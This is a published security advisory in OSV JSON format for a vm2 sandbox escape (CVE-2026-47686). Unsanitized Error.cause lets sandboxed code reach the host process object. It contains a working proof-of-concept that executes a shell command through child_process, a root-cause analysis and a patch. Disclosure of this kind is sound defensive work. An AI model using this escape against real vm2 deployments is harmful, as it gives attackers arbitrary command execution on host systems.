CVE-2026-47686: Vm2 Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m283-3h24-438v",
  "modified" : "2026-08-17T17:32:34Z",
  "published" : "2026-08-17T17:32:34Z",
  "aliases" : [ "CVE-2026-47686" ],
  "summary" : "VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE",
  "details" : "**Affected:** vm2 <= 3.11.3\n**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-693 (Protection Mechanism Failure)\n**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)\n\n## Summary\n\nI found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.\n\nThe project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.\n\n## Root Cause\n\nThe `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;\n    // ... cycle detection ...\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);      // sanitized\n            e.suppressed = handleException(e.suppressed, visited); // sanitized\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            // sanitizes e.errors[] ...\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e; // .cause is NEVER checked\n}\n```\n\nError.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.\n\n## Affected Code\n\n- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)\n- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`\n- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered\n\n## Reproduction\n\nEmbedder code that exposes a function throwing with `.cause` set to `process`:\n\n```javascript\nconst { VM } = require('vm2');\n\nconst vm = new VM({\n    sandbox: {\n        hostFn: () => {\n            throw new Error('fail', { cause: process });\n        }\n    }\n});\n\nconst result = vm.run(`\n    try {\n        hostFn();\n    } catch (e) {\n        // .cause is not sanitized, so we get a direct reference to host process\n        const proc = e.cause;\n        proc.mainModule.require('child_process').execSync('id').toString();\n    }\n`);\n\nconsole.log(result);\n```\n\nVerified output:\n\n```\nuid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\n```\n\nFull RCE confirmed.\n\n## Impact\n\nAny application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:\n\n- Full host process access (read/write files, spawn processes, network access)\n- Sandbox escape with changed scope (CVSS S:C)\n- No user interaction required\n\nThe prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.\n\n## Suggested Fix\n\nAdd `.cause` sanitization before the prototype-chain walk, so it applies to all error types:\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;\n    if (!visited) visited = new LocalWeakMap();\n    if (apply(localWeakMapGet, visited, [e])) return e;\n    apply(localWeakMapSet, visited, [e, true]);\n\n    // Sanitize .cause on ALL errors (ES2022)\n    try {\n        if ('cause' in e) {\n            e.cause = handleException(e.cause, visited);\n        }\n    } catch (ex) { /* best effort */ }\n\n    let proto = localReflectGetPrototypeOf(e);\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);\n            e.suppressed = handleException(e.suppressed, visited);\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            if (localArrayIsArray(e.errors)) {\n                for (let i = 0; i < e.errors.length; i++) {\n                    e.errors[i] = handleException(e.errors[i], visited);\n                }\n            }\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e;\n}\n```\n\n`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.\n\n## Artifacts\n\n| File | Role |\n|------|------|\n| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |\n[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.11.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T17:32:34Z",
    "nvd_published_at" : null
  }
}